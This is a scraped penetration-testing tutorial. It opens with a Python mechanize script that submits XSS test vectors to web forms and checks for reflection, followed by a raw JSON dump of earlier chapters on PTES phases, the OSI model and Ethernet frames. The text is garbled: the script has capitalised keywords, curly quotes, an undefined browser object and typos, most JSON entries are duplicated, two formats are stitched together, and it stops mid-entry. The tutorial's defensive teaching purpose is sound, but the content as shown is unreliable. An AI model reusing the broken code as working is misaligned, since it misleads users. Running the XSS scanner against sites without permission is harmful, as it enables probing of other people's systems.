can be implemented by manipulating input data to the application. In the following examples, we are modifying the SQLi attack vectors, done in previous section, to test XSS web attack. The Python script given below helps analyze XSS attack using mechanize − To begin with, let us import the mechanize module. import mechanize Now, provide the name of the URL for obtaining the response after submitting the form. url = input("Enter the full url") attack_no = 1 We need to read the attack vectors from the file. With open (‘vectors_XSS.txt’) as x: Now we will send request with each arrack vector − For line in x: browser.open(url) browser.select_form(nr = 0) browser[“id”] = line res = browser.submit() content = res.read() The following line of code will check the printed attack vector. if content.find(line) > 0: print(“Possible XSS”) The following line of code will write the response to output file. output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’) output.write(content) output.close() print attack_no attack_no += 1 XSS occurs when a user input prints to the response without any validation. Therefore, to check the possibility of an XSS attack, we can check the response text for the attack vector we provided. If the attack vector is present in the response without any escape or validation, there is a high possibility of XSS attack. 187 Lectures 17.5 hours Malhar Lathkar 55 Lectures 8 hours Arnab Chakraborty 136 Lectures 11 hours In28Minutes Official 75 Lectures 13 hours Eduonix Learning Solutions 70 Lectures 8.5 hours Lets Kode It 63 Lectures 6 hours Abhilash Nelson Print Add Notes Bookmark this page
[ { "code": null, "e": 2049, "s": 1857, "text": "Pen test or penetration testing, may be defined as an attempt to evaluate the security of an IT infrastructure by simulating a cyber-attack against computer system to exploit vulnerabilities." }, { "code": null, "e": 2405, "s": 2049, "text": "What is the difference between vulnerability scanning and penetration testing? Vulnerability scanning simply identifies the noted vulnerabilities and penetration testing, as told earlier, is an attempt to exploit vulnerabilities. Penetration testing helps to determine whether unauthorized access or any other malicious activity is possible in the system." }, { "code": null, "e": 2763, "s": 2405, "text": "We can perform penetration testing for servers, web applications, wireless networks, mobile devices and any other potential point of exposure using manual or automated technologies. Because of penetration testing, if we exploit any kind of vulnerabilities, the same must be forwarded to the IT and the network system manager to reach a strategic conclusion." }, { "code": null, "e": 2904, "s": 2763, "text": "In this section, we will learn about the significance of penetration testing. Consider the following points to know about the significance −" }, { "code": null, "e": 3089, "s": 2904, "text": "The significance of penetration testing can be understood from the point that it provides assurance to the organization with a detailed assessment of the security of that organization." }, { "code": null, "e": 3232, "s": 3089, "text": "With the help of penetration testing, we can spot potential threats before facing any damage and protect confidentiality of that organization." }, { "code": null, "e": 3334, "s": 3232, "text": "Penetration testing can ensure us regarding the implementation of security policy in an organization." }, { "code": null, "e": 3486, "s": 3334, "text": "With the help of penetration testing, the efficiency of network can be managed. It can scrutinize the security of devices like firewalls, routers, etc." }, { "code": null, "e": 3681, "s": 3486, "text": "Suppose if we want to implement any change in network design or update the software, hardware, etc. then penetration testing ensures the safety of organization against any kind of vulnerability." }, { "code": null, "e": 3910, "s": 3681, "text": "Penetration testers are software professionals who help organizations strengthen their defenses against cyber-attacks by identifying vulnerabilities. A penetration tester can use manual techniques or automated tools for testing." }, { "code": null, "e": 4001, "s": 3910, "text": "Let us now consider the following important characteristics of a good penetration tester −" }, { "code": null, "e": 4192, "s": 4001, "text": "A good pentester must have knowledge of application development, database administration and networking because he/she will be expected to deal with configuration settings as well as coding." }, { "code": null, "e": 4354, "s": 4192, "text": "Pentester must be an outstanding thinker and will not hesitate to apply different tools and methodologies on a particular assignment for getting the best output." }, { "code": null, "e": 4517, "s": 4354, "text": "A good pentester must have the knowledge to establish the scope for each penetration test such as its objectives, limitations and the justification of procedures." }, { "code": null, "e": 4635, "s": 4517, "text": "A pentester must be up-to-date in his/her technological skills because there can be any change in technology anytime." }, { "code": null, "e": 4826, "s": 4635, "text": "After successfully implementing penetration testing, a pen tester must mention all the findings and potential risks in the final report. Hence, he/she must have good skills of report making." }, { "code": null, "e": 4977, "s": 4826, "text": "A passionate person can achieve success in life. Similarly, if a person is passionate about cyber securities then he/she can become a good pen tester." }, { "code": null, "e": 5114, "s": 4977, "text": "We will now learn about the scope of penetration testing. The following two kinds of tests can define the scope of penetration testing −" }, { "code": null, "e": 5354, "s": 5114, "text": "Nondestructive testing does not put the system into any kind of risk. NDT is used to find defects, before they become dangerous, without harming the system, object, etc. While doing penetration testing, NDT performs the following actions −" }, { "code": null, "e": 5433, "s": 5354, "text": "This test scans and identifies the remote system for possible vulnerabilities." }, { "code": null, "e": 5516, "s": 5433, "text": "After finding vulnerabilities, it also does the verification of all that is found." }, { "code": null, "e": 5617, "s": 5516, "text": "In NDT, a pen tester would utilize the remote system properly. This helps in avoiding interruptions." }, { "code": null, "e": 5729, "s": 5617, "text": "Note − On the other hand, while doing penetration testing, NDT does not perform Denial-of-Service (DoS) attack." }, { "code": null, "e": 5940, "s": 5729, "text": "Destructive testing can put the system into risk. It is more expensive and requires more skills than nondestructive testing. While doing penetration testing, destructive testing performs the following actions −" }, { "code": null, "e": 6014, "s": 5940, "text": "Denial-of-Service (DoS) attack − Destructive testing performs DoS attack." }, { "code": null, "e": 6088, "s": 6014, "text": "Denial-of-Service (DoS) attack − Destructive testing performs DoS attack." }, { "code": null, "e": 6192, "s": 6088, "text": "Buffer overflow attack − It also performs buffer overflow attack which can lead to the crash of system." }, { "code": null, "e": 6296, "s": 6192, "text": "Buffer overflow attack − It also performs buffer overflow attack which can lead to the crash of system." }, { "code": null, "e": 6584, "s": 6296, "text": "The penetration testing techniques & tools should only be executed in environments you own or have permission to run these tools in. We must never practice these techniques in environments wherein, we are not authorized to do so because penetration testing without permission is illegal." }, { "code": null, "e": 6810, "s": 6584, "text": "We can practice penetration testing by installing a virtualization suite - either VMware Player (www.vmware.com/products/player) or Oracle VirtualBox −\nwww.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html" }, { "code": null, "e": 6962, "s": 6810, "text": "We can practice penetration testing by installing a virtualization suite - either VMware Player (www.vmware.com/products/player) or Oracle VirtualBox −" }, { "code": null, "e": 7036, "s": 6962, "text": "www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html" }, { "code": null, "e": 7110, "s": 7036, "text": "We can also create Virtual Machines (VMs) out of the current version of −" }, { "code": null, "e": 7184, "s": 7110, "text": "We can also create Virtual Machines (VMs) out of the current version of −" }, { "code": null, "e": 7221, "s": 7184, "text": "Kali Linux (www.kali.org/downloads/)" }, { "code": null, "e": 7258, "s": 7221, "text": "Kali Linux (www.kali.org/downloads/)" }, { "code": null, "e": 7322, "s": 7258, "text": "Samurai Web Testing Framework (http://samurai.inguardians.com/)" }, { "code": null, "e": 7386, "s": 7322, "text": "Samurai Web Testing Framework (http://samurai.inguardians.com/)" }, { "code": null, "e": 7463, "s": 7386, "text": "Metasploitable (www.offensivesecurity.com/metasploit-unleashed/Requirements)" }, { "code": null, "e": 7540, "s": 7463, "text": "Metasploitable (www.offensivesecurity.com/metasploit-unleashed/Requirements)" }, { "code": null, "e": 8010, "s": 7540, "text": "In recent times, both government and private organizations have taken up cyber security as a strategic priority. Cyber criminals have often made government and private organizations their soft targets by using different attacking vectors. Unfortunately, due to lack of efficient policies, standards and complexity of information system, cyber criminals have large number of targets and they are becoming successful in exploiting the system and stealing information too." }, { "code": null, "e": 8200, "s": 8010, "text": "Penetration testing is one strategy that can be used to mitigate the risks of cyberattacks. The success of penetration testing depends upon an efficient & consistent assessment methodology." }, { "code": null, "e": 8428, "s": 8200, "text": "We have a variety of assessment methodologies related to penetration testing. The benefit of using a methodology is that it allows assessors to evaluate an environment consistently. Following are a few important methodologies −" }, { "code": null, "e": 8485, "s": 8428, "text": "Open Source Security Testing Methodology Manual (OSSTMM)" }, { "code": null, "e": 8542, "s": 8485, "text": "Open Source Security Testing Methodology Manual (OSSTMM)" }, { "code": null, "e": 8588, "s": 8542, "text": "Open Web Application Security Project (OWASP)" }, { "code": null, "e": 8634, "s": 8588, "text": "Open Web Application Security Project (OWASP)" }, { "code": null, "e": 8688, "s": 8634, "text": "National Institute of Standards and Technology (NIST)" }, { "code": null, "e": 8742, "s": 8688, "text": "National Institute of Standards and Technology (NIST)" }, { "code": null, "e": 8788, "s": 8742, "text": "Penetration Testing Execution Standard (PTES)" }, { "code": null, "e": 8834, "s": 8788, "text": "Penetration Testing Execution Standard (PTES)" }, { "code": null, "e": 9312, "s": 8834, "text": "PTES, penetration testing execution standard, as the name implies is an assessment methodology for penetration testing. It covers everything related to a penetration test. We have a number of technical guidelines, within PTES, related to different environments that an assessor may encounter. This is the biggest advantage of using PTES by new assessors because technical guidelines have the suggestions for addressing and evaluating environment within industry standard tools." }, { "code": null, "e": 9388, "s": 9312, "text": "In the following section, we will learn about the different phases of PTES." }, { "code": null, "e": 10102, "s": 9388, "text": "The penetration testing execution standard (PTES) consists of seven phases. These phases cover everything related to a penetration test - from the initial communication and reasoning behind a pentest, through the intelligence gathering and threat modeling phases where testers are working behind the scenes. This leads to a better understanding of the tested organization, through vulnerability research, exploitation and post exploitation. Here, the technical security expertise of the testers is critically combined with the business understanding of the engagement, and finally to the reporting, which captures the entire process, in a manner that makes sense to the customer and provides the most value to it." }, { "code": null, "e": 10176, "s": 10102, "text": "We will learn about the seven phases of PTES in our subsequent sections −" }, { "code": null, "e": 10518, "s": 10176, "text": "This is the first and very important phase of PTES. The main aim of this phase is to explain the tools and techniques available, which help in a successful pre-engagement step of a penetration test. Any mistake while implementing this phase can have a significant impact on the rest of the assessment. This phase comprises of the following −" }, { "code": null, "e": 10814, "s": 10518, "text": "The very first part with which this phase starts is the creation of a request for an assessment by the organization. A Request for Proposal (RFP) document having the details about the environment, kind of assessment required and the expectations of the organization is provided to the assessors." }, { "code": null, "e": 11044, "s": 10814, "text": "Now, based on the RFP document, multiple assessment firms or individual Limited Liability Corporations (LLCs) will bid and the party, the bid of which matches the work requested, price and some other specific parameters will win." }, { "code": null, "e": 11218, "s": 11044, "text": "Now, the organization and the party, who won the bid, will sign a contract of Engagement Letter (EL). The letter will have the statement of work (SOW) and the final product." }, { "code": null, "e": 11427, "s": 11218, "text": "Once the EL is signed, fine-tuning of the scope can begin. Such meetings help an organization and the party to fine-tune a particular scope. The main goal of scoping meeting is to discuss what will be tested." }, { "code": null, "e": 11787, "s": 11427, "text": "Scope creep is something where the client may try to add on or extend the promised level of work to get more than it may have promised to pay for. That is why the modifications to original scope should be carefully considered due to time and resources. It must also be completed in some documented form such as email, signed document or authorized letter etc." }, { "code": null, "e": 12259, "s": 11787, "text": "During initial communications with the customer, there are several questions that the client will have to answer for proper estimation of the engagement scope. These questions are designed to provide a better understanding of what the client is looking to gain out of the penetration test; why the client is looking to have a penetration test performed against their environment; and, whether or not they want certain types of tests performed during the penetration test." }, { "code": null, "e": 12460, "s": 12259, "text": "The last part of the pre-engagement phase is to decide the procedure to conduct the test. There are various testing strategies like White Box, Black Box, Grey Box, Double-blind testing to choose from." }, { "code": null, "e": 12528, "s": 12460, "text": "Following are a few examples of assessments that may be requested −" }, { "code": null, "e": 12553, "s": 12528, "text": "Network penetration test" }, { "code": null, "e": 12586, "s": 12553, "text": "Web application penetration test" }, { "code": null, "e": 12620, "s": 12586, "text": "Wireless network penetration test" }, { "code": null, "e": 12646, "s": 12620, "text": "Physical penetration test" }, { "code": null, "e": 12665, "s": 12646, "text": "Social engineering" }, { "code": null, "e": 12674, "s": 12665, "text": "Phishing" }, { "code": null, "e": 12709, "s": 12674, "text": "Voice Over Internet Protocol(VOIP)" }, { "code": null, "e": 12726, "s": 12709, "text": "Internal network" }, { "code": null, "e": 12743, "s": 12726, "text": "External network" }, { "code": null, "e": 13150, "s": 12743, "text": "Intelligence gathering, the second phase of PTES, is where we perform the preliminary surveying against a target to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. It helps organizations in determining the external exposure by assessment team. We can divide information gathering in the following three levels −" }, { "code": null, "e": 13315, "s": 13150, "text": "Automated tools can obtain this level of information almost entirely. Level 1 information gathering effort should be appropriate to meet the compliance requirement." }, { "code": null, "e": 13772, "s": 13315, "text": "This level of information can be obtained by using automated tools from level 1 along with some manual analysis. This level needs a good understanding of the business, including information such as physical location, business relationship, organization chart, etc. Level 2 information gathering effort should be appropriate to meet the compliance requirement along with other needs such as long-term security strategy, acquiring smaller manufacturers, etc." }, { "code": null, "e": 13982, "s": 13772, "text": "This level of information gathering is used in the most advanced penetration test. All the information from level 1 and level 2 along with lots of manual analysis is required for level 3 information gathering." }, { "code": null, "e": 14364, "s": 13982, "text": "This is the third phase of PTES. Threat modeling approach is required for correct execution of penetration testing. Threat modeling can be used as part of a penetration test or it may may face based on a number of factors. In case we are using threat modeling as part of penetration test, then the information gathered in the second phase would be rolled back into the first phase." }, { "code": null, "e": 14424, "s": 14364, "text": "The following steps constitute the threat-modelling phase −" }, { "code": null, "e": 14467, "s": 14424, "text": "Gather necessary and relevant information." }, { "code": null, "e": 14510, "s": 14467, "text": "Gather necessary and relevant information." }, { "code": null, "e": 14570, "s": 14510, "text": "Need to identify and categorize primary & secondary assets." }, { "code": null, "e": 14630, "s": 14570, "text": "Need to identify and categorize primary & secondary assets." }, { "code": null, "e": 14692, "s": 14630, "text": "Need to identify and categorize threats & threat communities." }, { "code": null, "e": 14754, "s": 14692, "text": "Need to identify and categorize threats & threat communities." }, { "code": null, "e": 14821, "s": 14754, "text": "Need to map threat communities against primary & secondary assets." }, { "code": null, "e": 14888, "s": 14821, "text": "Need to map threat communities against primary & secondary assets." }, { "code": null, "e": 15010, "s": 14888, "text": "The following table lists down the relevant threat communities and agents along with their location in the organization −" }, { "code": null, "e": 15261, "s": 15010, "text": "While doing threat-modeling assessment, we need to remember that the location of threats can be internal. It takes only a single phishing e-mail or one annoyed employee who is keeping the security of organization at stake by broadcasting credentials." }, { "code": null, "e": 15568, "s": 15261, "text": "This is the fourth phase of PTES in which the assessor will identify the feasible targets for further testing. In the first three phases of PTES, only the details about organization have been extracted and the assessor has not touched any resources for testing. It is the most time consuming phase of PTES." }, { "code": null, "e": 15625, "s": 15568, "text": "The following stages constitute Vulnerability Analysis −" }, { "code": null, "e": 15954, "s": 15625, "text": "It may be defined as the process of discovering flaws such as misconfiguration and insecure application designs in the systems and applications of host and services. The tester must properly scope the testing and desired outcome before conducting vulnerability analysis. The vulnerability testing can be of the following types −" }, { "code": null, "e": 15969, "s": 15954, "text": "Active testing" }, { "code": null, "e": 15985, "s": 15969, "text": "Passive testing" }, { "code": null, "e": 16053, "s": 15985, "text": "We will discuss the two types in detail in our subsequent sections." }, { "code": null, "e": 16328, "s": 16053, "text": "It involves direct interaction with the component being tested for security vulnerabilities. The components can be at low level such as the TCP stack on a network device or at high level such as the web based interface. Active testing can be done in the following two ways −" }, { "code": null, "e": 16994, "s": 16328, "text": "It utilizes the software to interact with a target, examine responses and determine based on these responses whether a vulnerability in the component is present or not. The importance of automated active testing in comparison with manual active testing can be realized from the fact that if there are thousands of TCP ports on a system and we need to connect all of them manually for testing, it would take considerably huge amount of time. However, doing it with automated tools can reduce lots of time and labor requirements. Network vulnerability scan, port scan, banner grabbing, web application scan can be done with the help of automated active testing tools." }, { "code": null, "e": 17328, "s": 16994, "text": "Manual effective testing is more effective when compared to automated active testing. The margin of error always exists with automated process or technology. That is why it is always recommended to execute manual direct connections to each protocol or service available on a target system to validate the result of automated testing." }, { "code": null, "e": 17470, "s": 17328, "text": "Passive testing does not involve direct interaction with the component. It can be implemented with the help of the following two techniques −" }, { "code": null, "e": 17811, "s": 17470, "text": "This technique involves looking at the data that describes the file rather than the data of the file itself. For example, the MS word file has the metadata in terms of its author name, company name, date & time when the document was last modified and saved. There would be a security issue if an attacker can get passive access to metadata." }, { "code": null, "e": 18001, "s": 17811, "text": "It may be defined as the technique for connecting to an internal network and capturing data for offline analysis. It is mainly used to capture the “leaking of data” onto a switched network." }, { "code": null, "e": 18135, "s": 18001, "text": "After vulnerability testing, validation of the findings is very necessary. It can be done with the help of the following techniques −" }, { "code": null, "e": 18495, "s": 18135, "text": "If an assessor is doing vulnerability testing with multiple automated tools then for validating the findings, it is very necessary to have a correlation between these tools. The findings can become complicated if there is no such kind of correlation between tools. It can be broken down into specific correlation of items and categorical correlation of items." }, { "code": null, "e": 18624, "s": 18495, "text": "Validation can be done with the help of protocols also. VPN, Citrix, DNS, Web, mail server can be used to validate the findings." }, { "code": null, "e": 19241, "s": 18624, "text": "After the finding and validation of vulnerability in a system, it is essential to determine the accuracy of the identification of the issue and to research the potential exploitability of the vulnerability within the scope of the penetration test. Research can be done publicly or privately. While doing public research, vulnerability database and vendor advisories can be used to verify the accuracy of a reported issue. On the other hand, while doing private research, a replica environment can be set and techniques like fuzzing or testing configurations can be applied to verify the accuracy of a reported issue." }, { "code": null, "e": 19543, "s": 19241, "text": "This is the fifth phase of PTES. This phase focuses on gaining access to the system or resource by bypassing security restrictions. In this phase, all the work done by previous phases leads to gaining access of the system. There are some common terms as follows used for gaining access to the system −" }, { "code": null, "e": 19550, "s": 19543, "text": "Popped" }, { "code": null, "e": 19558, "s": 19550, "text": "Shelled" }, { "code": null, "e": 19566, "s": 19558, "text": "Cracked" }, { "code": null, "e": 19576, "s": 19566, "text": "Exploited" }, { "code": null, "e": 20144, "s": 19576, "text": "The logging in system, in exploitation phase, can be done with the help of code, remote exploit, creation of exploit, bypassing antivirus or it can be as simple as logging via weak credentials. After getting the access, i.e., after identifying the main entry point, the assessor must focus on identifying high value target assets. If the vulnerability analysis phase was properly completed, a high value target list should have been complied. Ultimately, the attack vector should take into consideration the success probability and highest impact on the organization." }, { "code": null, "e": 20241, "s": 20144, "text": "This is the sixth phase of PTES. An assessor undertakes the following activities in this phase −" }, { "code": null, "e": 20499, "s": 20241, "text": "The analysis of the entire infrastructure used during penetration testing is done in this phase. For example, analysis of network or network configuration can be done with the help of interfaces, routing, DNS servers, Cached DNS entries, proxy servers, etc." }, { "code": null, "e": 20773, "s": 20499, "text": "It may be defined as obtaining the information from targeted hosts. This information is relevant to the goals defined in the pre-assessment phase. This information can be obtained from installed programs, specific servers like database servers, printer, etc. on the system." }, { "code": null, "e": 21001, "s": 20773, "text": "Under this activity, assessor is required to do mapping and testing of all possible exfiltration paths so that control strength measuring, i.e., detecting and blocking sensitive information from organization, can be undertaken." }, { "code": null, "e": 21175, "s": 21001, "text": "This activity includes installation of backdoor that requires authentication, rebooting of backdoors when required and creation of alternate accounts with complex passwords." }, { "code": null, "e": 21479, "s": 21175, "text": "As the name suggest, this process covers the requirements for cleaning up system once the penetration test completes. This activity includes the return to original values system settings, application configuration parameters, and the removing of all the backdoor installed and any user accounts created." }, { "code": null, "e": 21765, "s": 21479, "text": "This is the final and most important phase of PTES. Here, the client pays on the basis of final report after completion of the penetration test. The report basically is a mirror of the findings done by the assessor about the system. Following are the essential parts of a good report −" }, { "code": null, "e": 21988, "s": 21765, "text": "This is a report that communicates to the reader about the specific goals of the penetration test and the high level findings of the testing exercise. The intended audience can be a member of advisory board of chief suite." }, { "code": null, "e": 22189, "s": 21988, "text": "The report must contain a storyline, which will explain what was done during the engagement, the actual security findings or weaknesses and the positive controls that the organization has established." }, { "code": null, "e": 22516, "s": 22189, "text": "Proof of concept or technical report must consist the technical details of the test and all the aspects/components agreed upon as key success indicators within the pre engagement exercise. The technical report section will describe in detail the scope, information, attack path, impact and remediation suggestions of the test." }, { "code": null, "e": 23311, "s": 22516, "text": "We have always heard that to perform penetration testing, a pentester must be aware about basic networking concepts like IP addresses, classful subnetting, classless subnetting, ports and broadcasting networks. The very first reason is that the activities like which hosts are live in the approved scope and what services, ports and features they have open and responsive will determine what kind of activities an assessor is going to perform in penetration testing. The environment keeps changing and systems are often reallocated. Hence, it is quite possible that old vulnerabilities may crop up again and without the good knowledge of scanning a network, it may happen that the initial scans have to be redone. In our subsequent sections, we will discuss the basics of network communication." }, { "code": null, "e": 23719, "s": 23311, "text": "Reference Model offers a means of standardization, which is acceptable worldwide since people using the computer network are located over a wide physical range and their network devices might have heterogeneous architecture. In order to provide communication among heterogeneous devices, we need a standardized model, i.e., a reference model, which would provide us with a way these devices can communicate." }, { "code": null, "e": 23885, "s": 23719, "text": "We have two reference models such as the OSI model and the TCP/IP reference model. However, the OSI model is a hypothetical one but the TCP/IP is an practical model." }, { "code": null, "e": 24043, "s": 23885, "text": "The Open System Interface was designed by the International organization of Standardization (ISO) and therefore, it is also referred to as the ISO-OSI Model." }, { "code": null, "e": 24210, "s": 24043, "text": "The OSI model consists of seven layers as shown in the following diagram. Each layer has a specific function, however each layer provides services to the layer above." }, { "code": null, "e": 24275, "s": 24210, "text": "The Physical layer is responsible for the following activities −" }, { "code": null, "e": 24341, "s": 24275, "text": "Activating, maintaining and deactivating the physical connection." }, { "code": null, "e": 24407, "s": 24341, "text": "Activating, maintaining and deactivating the physical connection." }, { "code": null, "e": 24465, "s": 24407, "text": "Defining voltages and data rates needed for transmission." }, { "code": null, "e": 24523, "s": 24465, "text": "Defining voltages and data rates needed for transmission." }, { "code": null, "e": 24571, "s": 24523, "text": "Converting digital bits into electrical signal." }, { "code": null, "e": 24619, "s": 24571, "text": "Converting digital bits into electrical signal." }, { "code": null, "e": 24691, "s": 24619, "text": "Deciding whether the connection is simplex, half-duplex or full-duplex." }, { "code": null, "e": 24763, "s": 24691, "text": "Deciding whether the connection is simplex, half-duplex or full-duplex." }, { "code": null, "e": 24818, "s": 24763, "text": "The data link layer performs the following functions −" }, { "code": null, "e": 24931, "s": 24818, "text": "Performs synchronization and error control for the information that is to be transmitted over the physical link." }, { "code": null, "e": 25044, "s": 24931, "text": "Performs synchronization and error control for the information that is to be transmitted over the physical link." }, { "code": null, "e": 25138, "s": 25044, "text": "Enables error detection, and adds error detection bits to the data that is to be transmitted." }, { "code": null, "e": 25232, "s": 25138, "text": "Enables error detection, and adds error detection bits to the data that is to be transmitted." }, { "code": null, "e": 25285, "s": 25232, "text": "The network layer performs the following functions −" }, { "code": null, "e": 25349, "s": 25285, "text": "To route the signals through various channels to the other end." }, { "code": null, "e": 25413, "s": 25349, "text": "To route the signals through various channels to the other end." }, { "code": null, "e": 25488, "s": 25413, "text": "To act as the network controller by deciding which route data should take." }, { "code": null, "e": 25563, "s": 25488, "text": "To act as the network controller by deciding which route data should take." }, { "code": null, "e": 25674, "s": 25563, "text": "To divide the outgoing messages into packets and to assemble incoming packets into messages for higher levels." }, { "code": null, "e": 25785, "s": 25674, "text": "To divide the outgoing messages into packets and to assemble incoming packets into messages for higher levels." }, { "code": null, "e": 25840, "s": 25785, "text": "The Transport layer performs the following functions −" }, { "code": null, "e": 25928, "s": 25840, "text": "It decides if the data transmission should take place on parallel paths or single path." }, { "code": null, "e": 26016, "s": 25928, "text": "It decides if the data transmission should take place on parallel paths or single path." }, { "code": null, "e": 26065, "s": 26016, "text": "It performs multiplexing, splitting on the data." }, { "code": null, "e": 26114, "s": 26065, "text": "It performs multiplexing, splitting on the data." }, { "code": null, "e": 26223, "s": 26114, "text": "It breaks the data groups into smaller units so that they are handled more efficiently by the network layer." }, { "code": null, "e": 26332, "s": 26223, "text": "It breaks the data groups into smaller units so that they are handled more efficiently by the network layer." }, { "code": null, "e": 26411, "s": 26332, "text": "The Transport Layer guarantees transmission of data from one end to other end." }, { "code": null, "e": 26464, "s": 26411, "text": "The Session layer performs the following functions −" }, { "code": null, "e": 26552, "s": 26464, "text": "Manages the messages and synchronizes conversations between two different applications." }, { "code": null, "e": 26640, "s": 26552, "text": "Manages the messages and synchronizes conversations between two different applications." }, { "code": null, "e": 26725, "s": 26640, "text": "It controls logging on and off, user identification, billing and session management." }, { "code": null, "e": 26810, "s": 26725, "text": "It controls logging on and off, user identification, billing and session management." }, { "code": null, "e": 26868, "s": 26810, "text": "The Presentation layer performs the following functions −" }, { "code": null, "e": 26990, "s": 26868, "text": "This layer ensures that the information is delivered in such a form that the receiving system will understand and use it." }, { "code": null, "e": 27112, "s": 26990, "text": "This layer ensures that the information is delivered in such a form that the receiving system will understand and use it." }, { "code": null, "e": 27169, "s": 27112, "text": "The Application layer performs the following functions −" }, { "code": null, "e": 27325, "s": 27169, "text": "It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc." }, { "code": null, "e": 27481, "s": 27325, "text": "It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc." }, { "code": null, "e": 27575, "s": 27481, "text": "The functions such as LOGIN or password checking are also performed by the application layer." }, { "code": null, "e": 27669, "s": 27575, "text": "The functions such as LOGIN or password checking are also performed by the application layer." }, { "code": null, "e": 27790, "s": 27669, "text": "The Transmission Control Protocol and Internet Protocol (TCP/IP) model is a practical model and is used in the Internet." }, { "code": null, "e": 27967, "s": 27790, "text": "The TCP/IP model combines the two layers (Physical and Data link layer) into one layer – Host-to-Network layer. The following diagram shows the various layers of TCP/IP model −" }, { "code": null, "e": 28050, "s": 27967, "text": "This layer is same as that of the OSI model and performs the following functions −" }, { "code": null, "e": 28206, "s": 28050, "text": "It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc." }, { "code": null, "e": 28362, "s": 28206, "text": "It provides different services such as manipulation of information in several ways, retransferring the files of information, distributing the results, etc." }, { "code": null, "e": 28448, "s": 28362, "text": "The application layer also performs the functions such as LOGIN or password checking." }, { "code": null, "e": 28534, "s": 28448, "text": "The application layer also performs the functions such as LOGIN or password checking." }, { "code": null, "e": 28636, "s": 28534, "text": "Following are the different protocols used in the Application layer −\n\nTELNET\nFTP\nSMTP\nDN\nHTTP\nNNTP\n\n" }, { "code": null, "e": 28706, "s": 28636, "text": "Following are the different protocols used in the Application layer −" }, { "code": null, "e": 28713, "s": 28706, "text": "TELNET" }, { "code": null, "e": 28717, "s": 28713, "text": "FTP" }, { "code": null, "e": 28722, "s": 28717, "text": "SMTP" }, { "code": null, "e": 28725, "s": 28722, "text": "DN" }, { "code": null, "e": 28730, "s": 28725, "text": "HTTP" }, { "code": null, "e": 28735, "s": 28730, "text": "NNTP" }, { "code": null, "e": 28884, "s": 28735, "text": "It does the same functions as that of the transport layer in the OSI model. Consider the following important points related to the transport layer −" }, { "code": null, "e": 28942, "s": 28884, "text": "It uses TCP and UDP protocol for end to end transmission." }, { "code": null, "e": 29000, "s": 28942, "text": "It uses TCP and UDP protocol for end to end transmission." }, { "code": null, "e": 29052, "s": 29000, "text": "TCP is a reliable and connection oriented protocol." }, { "code": null, "e": 29104, "s": 29052, "text": "TCP is a reliable and connection oriented protocol." }, { "code": null, "e": 29135, "s": 29104, "text": "TCP also handles flow control." }, { "code": null, "e": 29166, "s": 29135, "text": "TCP also handles flow control." }, { "code": null, "e": 29252, "s": 29166, "text": "The UDP is not reliable and a connection less protocol does not perform flow control." }, { "code": null, "e": 29338, "s": 29252, "text": "The UDP is not reliable and a connection less protocol does not perform flow control." }, { "code": null, "e": 29391, "s": 29338, "text": "TCP/IP and UDP protocols are employed in this layer." }, { "code": null, "e": 29444, "s": 29391, "text": "TCP/IP and UDP protocols are employed in this layer." }, { "code": null, "e": 29677, "s": 29444, "text": "The function of this layer is to allow the host to insert packets into network and then make them travel independently to the destination. However, the order of receiving the packet can be different from the sequence they were sent." }, { "code": null, "e": 29731, "s": 29677, "text": "Internet Protocol (IP) is employed in Internet layer." }, { "code": null, "e": 29936, "s": 29731, "text": "This is the lowest layer in the TCP/IP model. The host has to connect to network using some protocol, so that it can send IP packets over it. This protocol varies from host to host and network to network." }, { "code": null, "e": 29985, "s": 29936, "text": "The different protocols used in this layer are −" }, { "code": null, "e": 29993, "s": 29985, "text": "ARPANET" }, { "code": null, "e": 30000, "s": 29993, "text": "SATNET" }, { "code": null, "e": 30004, "s": 30000, "text": "LAN" }, { "code": null, "e": 30017, "s": 30004, "text": "Packet radio" }, { "code": null, "e": 30100, "s": 30017, "text": "Following are some useful architectures, which are used in network communication −" }, { "code": null, "e": 30586, "s": 30100, "text": "An engineer named Robert Metcalfe first invented Ethernet network, defined under IEEE standard 802.3, in 1973. It was first used to interconnect and send data between workstation and printer. More than 80% of the LANs use Ethernet standard for its speed, lower cost and ease of installation. On the other side, if we talk about frame then data travels from host to host in the way. A frame is constituted by various components like MAC address, IP header, start and end delimiter, etc." }, { "code": null, "e": 30912, "s": 30586, "text": "The Ethernet frame starts with Preamble and SFD. The Ethernet header contains both Source and Destination MAC address, after which the payload of frame is present. The last field is CRC, which is used to detect the error. The basic Ethernet frame structure is defined in the IEEE 802.3 standard, which is explained as below −" }, { "code": null, "e": 31078, "s": 30912, "text": "The Ethernet packet transports an Ethernet frame as its payload. Following is a graphical representation of Ethernet frame along with the description of each field −" }, { "code": null, "e": 31272, "s": 31078, "text": "An Ethernet frame is preceded by a preamble, 7 bytes of size, which informs the receiving system that a frame is starting and allows sender as well as receiver to establish bit synchronization." }, { "code": null, "e": 31502, "s": 31272, "text": "This is a 1-byte field used to signify that the Destination MAC address field begins with the next byte. Sometimes the SFD field is considered to be the part of Preamble. That is why preamble is considered 8 bytes in many places." }, { "code": null, "e": 31597, "s": 31502, "text": "Destination MAC − This is a 6-byte field wherein, we have the address of the receiving system." }, { "code": null, "e": 31692, "s": 31597, "text": "Destination MAC − This is a 6-byte field wherein, we have the address of the receiving system." }, { "code": null, "e": 31780, "s": 31692, "text": "Source MAC − This is a 6-byte field wherein, we have the address of the sending system." }, { "code": null, "e": 31868, "s": 31780, "text": "Source MAC − This is a 6-byte field wherein, we have the address of the sending system." }, { "code": null, "e": 31973, "s": 31868, "text": "Type − It defines the type of protocol inside the frame. For example, IPv4 or IPv6. Its size is 2 bytes." }, { "code": null, "e": 32078, "s": 31973, "text": "Type − It defines the type of protocol inside the frame. For example, IPv4 or IPv6. Its size is 2 bytes." }, { "code": null, "e": 32302, "s": 32078, "text": "Data − This is also called Payload and the actual data is inserted here. Its length must be between 46-1500 bytes. If the length is less than 46 bytes then padding 0’s is added to meet the minimum possible length, i.e., 46." }, { "code": null, "e": 32526, "s": 32302, "text": "Data − This is also called Payload and the actual data is inserted here. Its length must be between 46-1500 bytes. If the length is less than 46 bytes then padding 0’s is added to meet the minimum possible length, i.e., 46." }, { "code": null, 